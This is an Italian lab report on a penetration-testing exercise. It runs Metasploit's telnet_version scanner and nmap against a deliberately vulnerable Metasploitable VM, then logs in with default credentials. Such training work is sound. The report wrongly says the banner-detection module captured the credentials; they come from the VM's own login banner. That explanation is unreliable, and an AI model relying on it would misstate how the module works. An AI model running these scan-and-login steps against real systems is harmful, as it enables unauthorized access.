

## Exploit Telnet con il modulo auxiliary telnet\_version

### Traccia:

Utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il **modulo auxiliary telnet\_version** sulla macchina Metasploitable.

### Requisito:

Configurate l'ip della vostra **Kali con 192.168.1.25** e l'ip della vostra **Metasploitable con 192.168.1.40**. Mettere tutto su un report, spiegare cosa si intende per exploit, cos'è il protocollo attaccato, i vari step.

Macchina target: Metasploitable

Macchina attaccante: Kali Linux

Facciamo una scansione sul sistema target di Metasploitable attraverso **nmap** per individuare il servizio "telnet" che gira sulla macchina e la sua porta.

```
(kali@kali)~[~]
$ nmap -sV 192.168.1.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-21 06:22 EST
Nmap scan report for 192.168.1.40
Host is up (0.0019s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  unknown
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 186.21 seconds
```

Il servizio **telnet** con versione "**Linux telnetd**" è in esecuzione sulla **porta 23/TCP**. La macchina Metasploitable presenta un servizio Telnet in ascolto sulla porta 23, che trasferisce il traffico su canale non cifrato. Ciò significa che un potenziale attaccante potrebbe sniffare la comunicazione e rubare informazioni sensibili come username, password ed i comandi scambiati tra client e server.

**Telnet** è un protocollo di rete che fornisce un servizio di accesso da remoto a sistemi informatici, garantendo la comunicazione testuale bidirezionale in una rete per mezzo del protocollo TCP (Transmission Control Protocol). In particolare, Telnet sfrutta il protocollo di trasporto TCP, affidabile e orientato alla connessione, che garantisce una trasmissione e consegna ordinata e senza errori dei dati scambiati tra il client Telnet e il server Telnet.

Il servizio Telnet è in ascolto sulla **porta 23/TCP** per le connessioni in arrivo, stabilite da parte di client Telnet specificando l'indirizzo IP del dispositivo e la porta 23.

In sintesi, Telnet si presenta come un servizio di accesso su sistemi remoti e, simultaneamente, come un protocollo che utilizza il TCP per facilitare la trasmissione di dati testuali tra dispositivi connessi su una rete.

La **vulnerabilità del protocollo** consiste nell'assenza di meccanismi di cifratura durante la trasmissione dei dati che rende le informazioni vulnerabili ad attacchi di intercettazione (sniffing della comunicazione) con conseguente furto di informazioni sensibili.

### Procedimento:

1. Avvio della console di Metasploit (MSFConsole) dal terminale di Kali Linux con il comando “**msfconsole**”.

[illegible]

2. Dobbiamo cercare il modulo corretto, che faccia al caso nostro per l'attacco. Spesso una ricerca con la keyword «search» seguita dal nome della vulnerabilità. Bisogna controllare sempre la descrizione dei moduli quando effettuiamo una ricerca

—> **search telnet\_version**

```
msf6 > search telnet_version

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  auxiliary/scanner/telnet/lantronix_telnet_version  normal         No    Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/telnet_version           normal         No    Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version
msf6 > █
```

In questo caso ho scelto auxiliary/scanner/telnet/telnet\_version.

### Vulnerabilità = “Telnet Service Banner Detection”

La vulnerabilità associata al modulo "auxiliary telnet\_version" di Metasploit è progettato per identificare la versione specifica del servizio Telnet in esecuzione su una macchina remota (Metasploitable). Telnet trasmette dati, inclusi nomi utente e password, in forma di testo non crittografato, rendendolo suscettibile a intercettazioni malevole. Una volta identificata la versione specifica, gli operatori di sicurezza possono valutare se esistono vulnerabilità note per quella versione e, se del caso, procedere con azioni correttive o mitigative.

3. Dopo aver individuato e scelto l'exploit da utilizzare, lo si abilita con il comando «use» seguito dal percorso dell'exploit:

**use auxiliary/scanner/telnet/telnet\_version**

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > █
```

4. Le opzioni possono essere visualizzate utilizzando il comando «show options»:

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-      -
PASSWORD  no               no        The password for the specified username
RHOSTS    yes              yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     23               yes        The target port (TCP)
THREADS   1                yes        The number of concurrent threads (max one per host)
TIMEOUT   30               yes        Timeout for the Telnet probe
USERNAME  no               no        The username to authenticate as

View the full module info with the info, or info -d command.
```

Notiamo che alcune configurazioni sono «**required**»: la porta dove il servizio è in ascolto (RPORT) è corretta quindi inseriamo solo il parametro RHOSTS: ovvero l'indirizzo IP della macchina target.

5. Per configurare le opzioni, possiamo utilizzare il comando «set» seguito dal nome dell'opzione che vogliamo configurare:

**set RHOSTS 192.168.1.40 (IP di Metasploitable)**

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
```

Controllo dei parametri necessari per lanciare l'exploit: una volta scelto l'exploit corretto, bisogna capire quali parametri sono necessari ed indispensabili per lanciare l'attacco.

Ricontrolliamo di aver inserito tutte le opzioni necessarie con il comando «show options».

Notate bene, solo i parametri che hanno «YES» nella colonna «required» sono necessari.

Gli altri potrebbero essere dei parametri opzionali non strettamente necessari all'esecuzione dell'exploit.

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.1.40	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

6. Ricerca e selezione del payload: ci resta da scegliere e configurare il payload che vogliamo utilizzare. La prima cosa da fare è vedere quali payload sono disponibili per l'exploit selezionato.

Possiamo controllare e visualizzare i vari payloads tramite il comando “show payloads”.

Ma in questo caso, **per il modulo scelto non c'è bisogno di specificare un payload perchè auxiliary.**

Si può utilizzare il comando «**show options**» per visualizzare i parametri necessari al payload per funzionare correttamente. In questo caso sono moltissimi.

## 7. Dopo aver scelto l'exploit e il payload ed aver configurato le opzioni necessarie, siamo pronti quindi a lanciare l'attacco.

L'attacco viene eseguito sulla macchina target Metasploitable con il comando «**exploit**» dalla console:

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > |
```

### Il modulo ha recuperato i dati di login del servizio.

Il modulo telnet\_version, sfruttando il fatto che Telnet trasmette dati in chiaro, ha recuperato i dati di login del servizio. Le credenziali da utilizzare per accedere al sistema di Metasploitable sono username: «**msfadmin**», password «**msfadmin**».

Per verificare la correttezza delle informazioni, facciamo un test. Eseguiamo da Metasploit il comando «**telnet**» seguito dall'ip della macchina Metasploitable —>

**telnet 192.168.1.40**

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.

metasploitable2

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
```

Il servizio ci richiede un **login**. Abbiamo inserito le informazioni che ci ha appena restituito Metasploit.

```
metasploitable login: msfadmin
Password:
Last login: Sun Jan 21 06:20:39 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0    Link encap:Ethernet  HWaddr 52:be:aa:8e:79:7a
        inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
        inet6 addr: fe80::50be:aa8e:7979:7979/64 Scope:Link
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:9020 errors:0 dropped:0 overruns:0 frame:0
        TX packets:1855 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:630012 (615.2 KB)  TX bytes:168722 (164.7 KB)
        Base address:0xc000 Memory:febc0000-febe0000

lo      Link encap:Local Loopback
        inet addr:127.0.0.1  Mask:255.0.0.0
        inet6 addr: ::1/128 Scope:Host
        UP LOOPBACK RUNNING  MTU:65536  Metric:1
        RX packets:388 errors:0 dropped:0 overruns:0 frame:0
        TX packets:388 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:0
        RX bytes:127100 (124.1 KB)  TX bytes:127100 (124.1 KB)

msfadmin@metasploitable:~$ |
```

**Test:** la fase di test è una verifica che l'attacco sia andato a buon fine.

Da terminale di Kali Linux, tramite Metasploit, si è realizzata la connessione con il servizio telnet di Metasploitable riuscendo ad accedere all'interfaccia della macchina e al prompt dei comandi dal quale si sono potuti inviare comandi da remoto. Eseguiamo i comandi «**ifconfig**» e «**whoami**» che ci restituiscono rispettivamente le configurazioni di rete e il nome dell'utente della macchina sulla quale vengono eseguiti. Se queste info corrispondono con le impostazioni del nostro target, possiamo confermare la riuscita dell'attacco.

```
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$
```

L'attacco quindi ha avuto effettivamente successo e la vulnerabilità del servizio Telnet è stata sfruttata correttamente, in quanto **abbiamo ottenuto accesso non autorizzato alla macchina di Metasploitable**.

Per l'exploit del servizio "Telnet" di Metasploitable si è utilizzato un modulo ausiliario, `telnet_version`, di Metasploit. In questi attacchi andiamo a utilizzare, per lo più, moduli ausiliari (Auxiliary modules) di Metasploit:

- I moduli ausiliari sono progettati per svolgere funzioni di supporto durante il test della sicurezza, come la scansione della rete, la raccolta di informazioni e altro ancora.
- Questi moduli non eseguono necessariamente attacchi diretti, ma forniscono informazioni e supporto aggiuntivi che possono essere utili per ottenere un quadro completo della sicurezza della rete o del sistema.
- Quasi mai utilizzano un payload.

**Il modulo `telnet_version` effettua la scansione e l'identificazione delle versioni del servizio Telnet in esecuzione su un sistema remoto e non contiene un payload che conduce un attacco diretto al sistema target ma consente di ottenere informazioni su di esso.**

### **Conclusioni:**

L'exploit con il modulo ausiliario `telnet_version` di Metasploit è avvenuto con successo, sfruttando la vulnerabilità del servizio telnet che, non prevedendo meccanismi di cifratura durante la connessione, consente al framework Metasploit l'accesso non autorizzato al sistema remoto di Metasploitable.

Per garantire la sicurezza di una rete o di un sistema, è fortemente consigliato evitare l'uso di Telnet in favore di protocolli più sicuri, come SSH (Secure Shell) per l'accesso da remoto, che crittografa i dati trasmessi durante la comunicazione e quindi utilizza la crittografia per la tutela della riservatezza delle informazioni.